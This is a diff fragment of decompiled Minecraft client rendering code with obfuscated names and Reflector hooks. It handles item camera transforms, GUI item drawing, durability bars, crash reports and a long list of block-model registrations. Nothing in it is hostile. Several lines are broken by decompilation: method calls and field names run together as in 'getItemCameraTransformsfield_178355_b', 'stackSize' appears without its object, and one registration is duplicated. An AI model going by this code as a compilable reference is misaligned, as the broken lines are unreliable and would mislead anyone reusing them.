+      GlStateManager.rotate(field_178364_b.y + field_175051_f, 0.0F, 1.0F, 0.0F);
+      GlStateManager.rotate(field_178364_b.x + field_175054_e, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(field_178364_b.z + field_175052_g, 0.0F, 0.0F, 1.0F);
+      GlStateManager.scale(field_178363_d.x + field_175061_h, field_178363_d.y + field_175062_i, field_178363_d.z + field_175060_j);
+    }
+  }
+  
+  protected void func_175040_a(ItemStack p_175040_1_, IBakedModel p_175040_2_, ItemCameraTransforms.TransformType p_175040_3_)
+  {
+    field_175057_n.bindTexture(TextureMap.locationBlocksTexture);
+    field_175057_n.getTexture(TextureMap.locationBlocksTexture).func_174936_b(false, false);
+    func_175046_c(p_175040_1_);
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.alphaFunc(516, 0.1F);
+    GlStateManager.enableBlend();
+    GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0);
+    GlStateManager.pushMatrix();
+    
+    if (Reflector.ForgeHooksClient_handleCameraTransforms.exists())
+    {
+      p_175040_2_ = (IBakedModel)Reflector.call(Reflector.ForgeHooksClient_handleCameraTransforms, new Object[] { p_175040_2_, p_175040_3_ });
+    }
+    else
+    {
+      switch (SwitchTransformType.field_178640_a[p_175040_3_.ordinal()])
+      {
+      case 1: 
+      default: 
+        break;
+      
+      case 2: 
+        func_175034_a(getItemCameraTransformsfield_178355_b);
+        break;
+      
+      case 3: 
+        func_175034_a(getItemCameraTransformsfield_178356_c);
+        break;
+      
+      case 4: 
+        func_175034_a(getItemCameraTransformsfield_178353_d);
+        break;
+      
+      case 5: 
+        func_175034_a(getItemCameraTransformsfield_178354_e);
+      }
+      
+    }
+    func_180454_a(p_175040_1_, p_175040_2_);
+    GlStateManager.popMatrix();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.disableBlend();
+    field_175057_n.bindTexture(TextureMap.locationBlocksTexture);
+    field_175057_n.getTexture(TextureMap.locationBlocksTexture).func_174935_a();
+  }
+  
+  public void func_175042_a(ItemStack p_175042_1_, int p_175042_2_, int p_175042_3_)
+  {
+    IBakedModel var4 = itemModelMesher.getItemModel(p_175042_1_);
+    GlStateManager.pushMatrix();
+    field_175057_n.bindTexture(TextureMap.locationBlocksTexture);
+    field_175057_n.getTexture(TextureMap.locationBlocksTexture).func_174936_b(false, false);
+    GlStateManager.enableRescaleNormal();
+    GlStateManager.enableAlpha();
+    GlStateManager.alphaFunc(516, 0.1F);
+    GlStateManager.enableBlend();
+    GlStateManager.blendFunc(770, 771);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    func_180452_a(p_175042_2_, p_175042_3_, var4.isAmbientOcclusionEnabled());
+    
+    if (Reflector.ForgeHooksClient_handleCameraTransforms.exists())
+    {
+      var4 = (IBakedModel)Reflector.call(Reflector.ForgeHooksClient_handleCameraTransforms, new Object[] { var4, ItemCameraTransforms.TransformType.GUI });
+    }
+    else
+    {
+      func_175034_a(getItemCameraTransformsfield_178354_e);
+    }
+    
+    func_180454_a(p_175042_1_, var4);
+    GlStateManager.disableAlpha();
+    GlStateManager.disableRescaleNormal();
+    GlStateManager.disableLighting();
+    GlStateManager.popMatrix();
+    field_175057_n.bindTexture(TextureMap.locationBlocksTexture);
+    field_175057_n.getTexture(TextureMap.locationBlocksTexture).func_174935_a();
+  }
+  
+  private void func_180452_a(int p_180452_1_, int p_180452_2_, boolean p_180452_3_)
+  {
+    GlStateManager.translate(p_180452_1_, p_180452_2_, 100.0F + zLevel);
+    GlStateManager.translate(8.0F, 8.0F, 0.0F);
+    GlStateManager.scale(1.0F, 1.0F, -1.0F);
+    GlStateManager.scale(0.5F, 0.5F, 0.5F);
+    
+    if (p_180452_3_)
+    {
+      GlStateManager.scale(40.0F, 40.0F, 40.0F);
+      GlStateManager.rotate(210.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.rotate(-135.0F, 0.0F, 1.0F, 0.0F);
+      GlStateManager.enableLighting();
+    }
+    else
+    {
+      GlStateManager.scale(64.0F, 64.0F, 64.0F);
+      GlStateManager.rotate(180.0F, 1.0F, 0.0F, 0.0F);
+      GlStateManager.disableLighting();
+    }
+  }
+  
+  public void func_180450_b(final ItemStack p_180450_1_, int p_180450_2_, int p_180450_3_)
+  {
+    if (p_180450_1_ != null)
+    {
+      zLevel += 50.0F;
+      
+      try
+      {
+        func_175042_a(p_180450_1_, p_180450_2_, p_180450_3_);
+      }
+      catch (Throwable var7)
+      {
+        CrashReport var5 = CrashReport.makeCrashReport(var7, "Rendering item");
+        CrashReportCategory var6 = var5.makeCategory("Item being rendered");
+        var6.addCrashSectionCallable("Item Type", new Callable()
+        {
+          private static final String __OBFID = "CL_00001004";
+          
+          public String call() {
+            return String.valueOf(p_180450_1_.getItem());
+          }
+        });
+        var6.addCrashSectionCallable("Item Aux", new Callable()
+        {
+          private static final String __OBFID = "CL_00001005";
+          
+          public String call() {
+            return String.valueOf(p_180450_1_.getMetadata());
+          }
+        });
+        var6.addCrashSectionCallable("Item NBT", new Callable()
+        {
+          private static final String __OBFID = "CL_00001006";
+          
+          public String call() {
+            return String.valueOf(p_180450_1_.getTagCompound());
+          }
+        });
+        var6.addCrashSectionCallable("Item Foil", new Callable()
+        {
+          public String call()
+          {
+            return String.valueOf(p_180450_1_.hasEffect());
+          }
+        });
+        throw new net.minecraft.util.ReportedException(var5);
+      }
+      
+      zLevel -= 50.0F;
+    }
+  }
+  
+  public void func_175030_a(FontRenderer p_175030_1_, ItemStack p_175030_2_, int p_175030_3_, int p_175030_4_)
+  {
+    func_180453_a(p_175030_1_, p_175030_2_, p_175030_3_, p_175030_4_, null);
+  }
+  
+  public void func_180453_a(FontRenderer p_180453_1_, ItemStack p_180453_2_, int p_180453_3_, int p_180453_4_, String p_180453_5_)
+  {
+    if (p_180453_2_ != null)
+    {
+      if ((stackSize != 1) || (p_180453_5_ != null))
+      {
+        String itemDamaged = p_180453_5_ == null ? String.valueOf(stackSize) : p_180453_5_;
+        
+        if ((p_180453_5_ == null) && (stackSize < 1))
+        {
+          itemDamaged = EnumChatFormatting.RED + String.valueOf(stackSize);
+        }
+        
+        GlStateManager.disableLighting();
+        GlStateManager.disableDepth();
+        GlStateManager.disableBlend();
+        p_180453_1_.drawStringWithShadow(itemDamaged, p_180453_3_ + 19 - 2 - p_180453_1_.getStringWidth(itemDamaged), p_180453_4_ + 6 + 3, 16777215);
+        GlStateManager.enableLighting();
+        GlStateManager.enableDepth();
+      }
+      
+      boolean itemDamaged1 = p_180453_2_.isItemDamaged();
+      
+      if (Reflector.ForgeItem_showDurabilityBar.exists())
+      {
+        itemDamaged1 = Reflector.callBoolean(p_180453_2_.getItem(), Reflector.ForgeItem_showDurabilityBar, new Object[] { p_180453_2_ });
+      }
+      
+      if (itemDamaged1)
+      {
+        int var12 = (int)Math.round(13.0D - p_180453_2_.getItemDamage() * 13.0D / p_180453_2_.getMaxDamage());
+        int var7 = (int)Math.round(255.0D - p_180453_2_.getItemDamage() * 255.0D / p_180453_2_.getMaxDamage());
+        
+        if (Reflector.ForgeItem_getDurabilityForDisplay.exists())
+        {
+          double var8 = Reflector.callDouble(p_180453_2_.getItem(), Reflector.ForgeItem_getDurabilityForDisplay, new Object[] { p_180453_2_ });
+          var12 = (int)Math.round(13.0D - var8 * 13.0D);
+          var7 = (int)Math.round(255.0D - var8 * 255.0D);
+        }
+        
+        GlStateManager.disableLighting();
+        GlStateManager.disableDepth();
+        GlStateManager.func_179090_x();
+        GlStateManager.disableAlpha();
+        GlStateManager.disableBlend();
+        Tessellator var81 = Tessellator.getInstance();
+        WorldRenderer var9 = var81.getWorldRenderer();
+        int var10 = 255 - var7 << 16 | var7 << 8;
+        int var11 = (255 - var7) / 4 << 16 | 0x3F00;
+        func_175044_a(var9, p_180453_3_ + 2, p_180453_4_ + 13, 13, 2, 0);
+        func_175044_a(var9, p_180453_3_ + 2, p_180453_4_ + 13, 12, 1, var11);
+        func_175044_a(var9, p_180453_3_ + 2, p_180453_4_ + 13, var12, 1, var10);
+        
+        if (!Reflector.ForgeHooksClient.exists())
+        {
+          GlStateManager.enableBlend();
+        }
+        
+        GlStateManager.enableAlpha();
+        GlStateManager.func_179098_w();
+        GlStateManager.enableLighting();
+        GlStateManager.enableDepth();
+      }
+    }
+  }
+  
+  private void func_175044_a(WorldRenderer p_175044_1_, int p_175044_2_, int p_175044_3_, int p_175044_4_, int p_175044_5_, int p_175044_6_)
+  {
+    p_175044_1_.startDrawingQuads();
+    p_175044_1_.func_178991_c(p_175044_6_);
+    p_175044_1_.addVertex(p_175044_2_ + 0, p_175044_3_ + 0, 0.0D);
+    p_175044_1_.addVertex(p_175044_2_ + 0, p_175044_3_ + p_175044_5_, 0.0D);
+    p_175044_1_.addVertex(p_175044_2_ + p_175044_4_, p_175044_3_ + p_175044_5_, 0.0D);
+    p_175044_1_.addVertex(p_175044_2_ + p_175044_4_, p_175044_3_ + 0, 0.0D);
+    Tessellator.getInstance().draw();
+  }
+  
+  private void registerItems()
+  {
+    registerBlock(Blocks.anvil, "anvil_intact");
+    registerBlock(Blocks.anvil, 1, "anvil_slightly_damaged");
+    registerBlock(Blocks.anvil, 2, "anvil_very_damaged");
+    registerBlock(Blocks.carpet, EnumDyeColor.BLACK.func_176765_a(), "black_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.BLUE.func_176765_a(), "blue_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.BROWN.func_176765_a(), "brown_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.CYAN.func_176765_a(), "cyan_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.GRAY.func_176765_a(), "gray_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.GREEN.func_176765_a(), "green_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.LIGHT_BLUE.func_176765_a(), "light_blue_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.LIME.func_176765_a(), "lime_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.MAGENTA.func_176765_a(), "magenta_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.ORANGE.func_176765_a(), "orange_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.PINK.func_176765_a(), "pink_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.PURPLE.func_176765_a(), "purple_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.RED.func_176765_a(), "red_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.SILVER.func_176765_a(), "silver_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.WHITE.func_176765_a(), "white_carpet");
+    registerBlock(Blocks.carpet, EnumDyeColor.YELLOW.func_176765_a(), "yellow_carpet");
+    registerBlock(Blocks.cobblestone_wall, BlockWall.EnumType.MOSSY.func_176657_a(), "mossy_cobblestone_wall");
+    registerBlock(Blocks.cobblestone_wall, BlockWall.EnumType.NORMAL.func_176657_a(), "cobblestone_wall");
+    registerBlock(Blocks.dirt, BlockDirt.DirtType.COARSE_DIRT.getMetadata(), "coarse_dirt");
+    registerBlock(Blocks.dirt, BlockDirt.DirtType.DIRT.getMetadata(), "dirt");
+    registerBlock(Blocks.dirt, BlockDirt.DirtType.PODZOL.getMetadata(), "podzol");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.FERN.func_176936_a(), "double_fern");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.GRASS.func_176936_a(), "double_grass");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.PAEONIA.func_176936_a(), "paeonia");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.ROSE.func_176936_a(), "double_rose");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.SUNFLOWER.func_176936_a(), "sunflower");
+    registerBlock(Blocks.double_plant, BlockDoublePlant.EnumPlantType.SYRINGA.func_176936_a(), "syringa");
+    registerBlock(Blocks.leaves, BlockPlanks.EnumType.BIRCH.func_176839_a(), "birch_leaves");
+    registerBlock(Blocks.leaves, BlockPlanks.EnumType.JUNGLE.func_176839_a(), "jungle_leaves");
+    registerBlock(Blocks.leaves, BlockPlanks.EnumType.OAK.func_176839_a(), "oak_leaves");
+    registerBlock(Blocks.leaves, BlockPlanks.EnumType.SPRUCE.func_176839_a(), "spruce_leaves");
+    registerBlock(Blocks.leaves2, BlockPlanks.EnumType.ACACIA.func_176839_a() - 4, "acacia_leaves");
+    registerBlock(Blocks.leaves2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4, "dark_oak_leaves");
+    registerBlock(Blocks.log, BlockPlanks.EnumType.BIRCH.func_176839_a(), "birch_log");
+    registerBlock(Blocks.log, BlockPlanks.EnumType.JUNGLE.func_176839_a(), "jungle_log");
+    registerBlock(Blocks.log, BlockPlanks.EnumType.OAK.func_176839_a(), "oak_log");
+    registerBlock(Blocks.log, BlockPlanks.EnumType.SPRUCE.func_176839_a(), "spruce_log");
+    registerBlock(Blocks.log2, BlockPlanks.EnumType.ACACIA.func_176839_a() - 4, "acacia_log");
+    registerBlock(Blocks.log2, BlockPlanks.EnumType.DARK_OAK.func_176839_a() - 4, "dark_oak_log");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.CHISELED_STONEBRICK.func_176881_a(), "chiseled_brick_monster_egg");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.COBBLESTONE.func_176881_a(), "cobblestone_monster_egg");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.CRACKED_STONEBRICK.func_176881_a(), "cracked_brick_monster_egg");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.MOSSY_STONEBRICK.func_176881_a(), "mossy_brick_monster_egg");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.STONE.func_176881_a(), "stone_monster_egg");
+    registerBlock(Blocks.monster_egg, BlockSilverfish.EnumType.STONEBRICK.func_176881_a(), "stone_brick_monster_egg");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.ACACIA.func_176839_a(), "acacia_planks");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.BIRCH.func_176839_a(), "birch_planks");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.DARK_OAK.func_176839_a(), "dark_oak_planks");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.JUNGLE.func_176839_a(), "jungle_planks");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.OAK.func_176839_a(), "oak_planks");
+    registerBlock(Blocks.planks, BlockPlanks.EnumType.SPRUCE.func_176839_a(), "spruce_planks");
+    registerBlock(Blocks.prismarine, BlockPrismarine.EnumType.BRICKS.getMetadata(), "prismarine_bricks");
+    registerBlock(Blocks.prismarine, BlockPrismarine.EnumType.DARK.getMetadata(), "dark_prismarine");
+    registerBlock(Blocks.prismarine, BlockPrismarine.EnumType.ROUGH.getMetadata(), "prismarine");
+    registerBlock(Blocks.quartz_block, BlockQuartz.EnumType.CHISELED.getMetaFromState(), "chiseled_quartz_block");
+    registerBlock(Blocks.quartz_block, BlockQuartz.EnumType.DEFAULT.getMetaFromState(), "quartz_block");
+    registerBlock(Blocks.quartz_block, BlockQuartz.EnumType.LINES_Y.getMetaFromState(), "quartz_column");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.ALLIUM.func_176968_b(), "allium");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.BLUE_ORCHID.func_176968_b(), "blue_orchid");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.HOUSTONIA.func_176968_b(), "houstonia");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.ORANGE_TULIP.func_176968_b(), "orange_tulip");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.OXEYE_DAISY.func_176968_b(), "oxeye_daisy");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.PINK_TULIP.func_176968_b(), "pink_tulip");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.POPPY.func_176968_b(), "poppy");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.RED_TULIP.func_176968_b(), "red_tulip");
+    registerBlock(Blocks.red_flower, BlockFlower.EnumFlowerType.WHITE_TULIP.func_176968_b(), "white_tulip");
+    registerBlock(Blocks.sand, BlockSand.EnumType.RED_SAND.func_176688_a(), "red_sand");
+    registerBlock(Blocks.sand, BlockSand.EnumType.SAND.func_176688_a(), "sand");
+    registerBlock(Blocks.sandstone, BlockSandStone.EnumType.CHISELED.func_176675_a(), "chiseled_sandstone");
+    registerBlock(Blocks.sandstone, BlockSandStone.EnumType.DEFAULT.func_176675_a(), "sandstone");
+    registerBlock(Blocks.sandstone, BlockSandStone.EnumType.SMOOTH.func_176675_a(), "smooth_sandstone");
+    registerBlock(Blocks.red_sandstone, BlockRedSandstone.EnumType.CHISELED.getMetaFromState(), "chiseled_red_sandstone");
+    registerBlock(Blocks.red_sandstone, BlockRedSandstone.EnumType.DEFAULT.getMetaFromState(), "red_sandstone");
+    registerBlock(Blocks.red_sandstone, BlockRedSandstone.EnumType.SMOOTH.getMetaFromState(), "smooth_red_sandstone");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.ACACIA.func_176839_a(), "acacia_sapling");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.BIRCH.func_176839_a(), "birch_sapling");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.DARK_OAK.func_176839_a(), "dark_oak_sapling");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.JUNGLE.func_176839_a(), "jungle_sapling");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.OAK.func_176839_a(), "oak_sapling");
+    registerBlock(Blocks.sapling, BlockPlanks.EnumType.SPRUCE.func_176839_a(), "spruce_sapling");
+    registerBlock(Blocks.sponge, 0, "sponge");
+    registerBlock(Blocks.sponge, 1, "sponge_wet");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.BLACK.func_176765_a(), "black_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.BLUE.func_176765_a(), "blue_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.BROWN.func_176765_a(), "brown_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.CYAN.func_176765_a(), "cyan_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.GRAY.func_176765_a(), "gray_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.GREEN.func_176765_a(), "green_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.LIGHT_BLUE.func_176765_a(), "light_blue_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.LIME.func_176765_a(), "lime_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.MAGENTA.func_176765_a(), "magenta_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.ORANGE.func_176765_a(), "orange_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.PINK.func_176765_a(), "pink_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.PURPLE.func_176765_a(), "purple_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.RED.func_176765_a(), "red_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.SILVER.func_176765_a(), "silver_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.WHITE.func_176765_a(), "white_stained_glass");
+    registerBlock(Blocks.stained_glass, EnumDyeColor.YELLOW.func_176765_a(), "yellow_stained_glass");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.BLACK.func_176765_a(), "black_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.BLUE.func_176765_a(), "blue_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.BROWN.func_176765_a(), "brown_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.CYAN.func_176765_a(), "cyan_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.GRAY.func_176765_a(), "gray_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.GREEN.func_176765_a(), "green_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.LIGHT_BLUE.func_176765_a(), "light_blue_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.LIME.func_176765_a(), "lime_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.MAGENTA.func_176765_a(), "magenta_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.ORANGE.func_176765_a(), "orange_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.PINK.func_176765_a(), "pink_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.PURPLE.func_176765_a(), "purple_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.RED.func_176765_a(), "red_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.SILVER.func_176765_a(), "silver_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.WHITE.func_176765_a(), "white_stained_glass_pane");
+    registerBlock(Blocks.stained_glass_pane, EnumDyeColor.YELLOW.func_176765_a(), "yellow_stained_glass_pane");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.BLACK.func_176765_a(), "black_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.BLUE.func_176765_a(), "blue_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.BROWN.func_176765_a(), "brown_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.CYAN.func_176765_a(), "cyan_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.GRAY.func_176765_a(), "gray_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.GREEN.func_176765_a(), "green_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.LIGHT_BLUE.func_176765_a(), "light_blue_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.LIME.func_176765_a(), "lime_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.MAGENTA.func_176765_a(), "magenta_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.ORANGE.func_176765_a(), "orange_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.PINK.func_176765_a(), "pink_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.PURPLE.func_176765_a(), "purple_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.RED.func_176765_a(), "red_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.SILVER.func_176765_a(), "silver_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.WHITE.func_176765_a(), "white_stained_hardened_clay");
+    registerBlock(Blocks.stained_hardened_clay, EnumDyeColor.YELLOW.func_176765_a(), "yellow_stained_hardened_clay");
+    registerBlock(Blocks.stone, BlockStone.EnumType.ANDESITE.getMetaFromState(), "andesite");
+    registerBlock(Blocks.stone, BlockStone.EnumType.ANDESITE_SMOOTH.getMetaFromState(), "andesite_smooth");
+    registerBlock(Blocks.stone, BlockStone.EnumType.DIORITE.getMetaFromState(), "diorite");
+    registerBlock(Blocks.stone, BlockStone.EnumType.DIORITE_SMOOTH.getMetaFromState(), "diorite_smooth");
+    registerBlock(Blocks.stone, BlockStone.EnumType.GRANITE.getMetaFromState(), "granite");
+    registerBlock(Blocks.stone, BlockStone.EnumType.GRANITE_SMOOTH.getMetaFromState(), "granite_smooth");
+    registerBlock(Blocks.stone, BlockStone.EnumType.STONE.getMetaFromState(), "stone");
+    registerBlock(Blocks.stonebrick, BlockStoneBrick.EnumType.CRACKED.getMetaFromState(), "cracked_stonebrick");
+    registerBlock(Blocks.stonebrick, BlockStoneBrick.EnumType.DEFAULT.getMetaFromState(), "stonebrick");
+    registerBlock(Blocks.stonebrick, BlockStoneBrick.EnumType.CHISELED.getMetaFromState(), "chiseled_stonebrick");
+    registerBlock(Blocks.stonebrick, BlockStoneBrick.EnumType.MOSSY.getMetaFromState(), "mossy_stonebrick");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.BRICK.func_176624_a(), "brick_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.COBBLESTONE.func_176624_a(), "cobblestone_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.WOOD.func_176624_a(), "old_wood_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.NETHERBRICK.func_176624_a(), "nether_brick_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.QUARTZ.func_176624_a(), "quartz_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.SAND.func_176624_a(), "sandstone_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.SMOOTHBRICK.func_176624_a(), "stone_brick_slab");
+    registerBlock(Blocks.stone_slab, BlockStoneSlab.EnumType.STONE.func_176624_a(), "stone_slab");
+    registerBlock(Blocks.stone_slab2, BlockStoneSlabNew.EnumType.RED_SANDSTONE.func_176915_a(), "red_sandstone_slab");
+    registerBlock(Blocks.tallgrass, BlockTallGrass.EnumType.DEAD_BUSH.func_177044_a(), "dead_bush");
+    registerBlock(Blocks.tallgrass, BlockTallGrass.EnumType.FERN.func_177044_a(), "fern");
+    registerBlock(Blocks.tallgrass, BlockTallGrass.EnumType.GRASS.func_177044_a(), "tall_grass");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.ACACIA.func_176839_a(), "acacia_slab");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.BIRCH.func_176839_a(), "birch_slab");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.DARK_OAK.func_176839_a(), "dark_oak_slab");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.JUNGLE.func_176839_a(), "jungle_slab");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.OAK.func_176839_a(), "oak_slab");
+    registerBlock(Blocks.wooden_slab, BlockPlanks.EnumType.SPRUCE.func_176839_a(), "spruce_slab");
+    registerBlock(Blocks.wool, EnumDyeColor.BLACK.func_176765_a(), "black_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.BLUE.func_176765_a(), "blue_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.BROWN.func_176765_a(), "brown_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.CYAN.func_176765_a(), "cyan_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.GRAY.func_176765_a(), "gray_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.GREEN.func_176765_a(), "green_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.LIGHT_BLUE.func_176765_a(), "light_blue_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.LIME.func_176765_a(), "lime_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.MAGENTA.func_176765_a(), "magenta_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.ORANGE.func_176765_a(), "orange_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.PINK.func_176765_a(), "pink_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.PURPLE.func_176765_a(), "purple_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.RED.func_176765_a(), "red_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.SILVER.func_176765_a(), "silver_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.WHITE.func_176765_a(), "white_wool");
+    registerBlock(Blocks.wool, EnumDyeColor.YELLOW.func_176765_a(), "yellow_wool");
+    registerBlock(Blocks.acacia_stairs, "acacia_stairs");
+    registerBlock(Blocks.activator_rail, "activator_rail");
+    registerBlock(Blocks.beacon, "beacon");
+    registerBlock(Blocks.bedrock, "bedrock");
+    registerBlock(Blocks.birch_stairs, "birch_stairs");
+    registerBlock(Blocks.bookshelf, "bookshelf");
+    registerBlock(Blocks.brick_block, "brick_block");
+    registerBlock(Blocks.brick_block, "brick_block");
+    registerBlock(Blocks.brick_stairs, "brick_stairs");
+    registerBlock(Blocks.brown_mushroom, "brown_mushroom");
+    registerBlock(Blocks.cactus, "cactus");
+    registerBlock(Blocks.clay, "clay");
+    registerBlock(Blocks.coal_block, "coal_block");
+    registerBlock(Blocks.coal_ore, "coal_ore");
+    registerBlock(Blocks.cobblestone, "cobblestone");
+    registerBlock(Blocks.crafting_table, "crafting_table");
+    registerBlock(Blocks.dark_oak_stairs, "dark_oak_stairs");
+    registerBlock(Blocks.daylight_detector, "daylight_detector");
+    registerBlock(Blocks.deadbush, "dead_bush");
+    registerBlock(Blocks.detector_rail, "detector_rail");
+    registerBlock(Blocks.diamond_block, "diamond_block");
+    registerBlock(Blocks.diamond_ore, "diamond_ore");
+    registerBlock(Blocks.dispenser, "dispenser");
+    registerBlock(Blocks.dropper, "dropper");
+    registerBlock(Blocks.emerald_block, "emerald_block");
+    registerBlock(Blocks.emerald_ore, "emerald_ore");
+    registerBlock(Blocks.enchanting_table, "enchanting_table");
+    registerBlock(Blocks.end_portal_frame, "end_portal_frame");
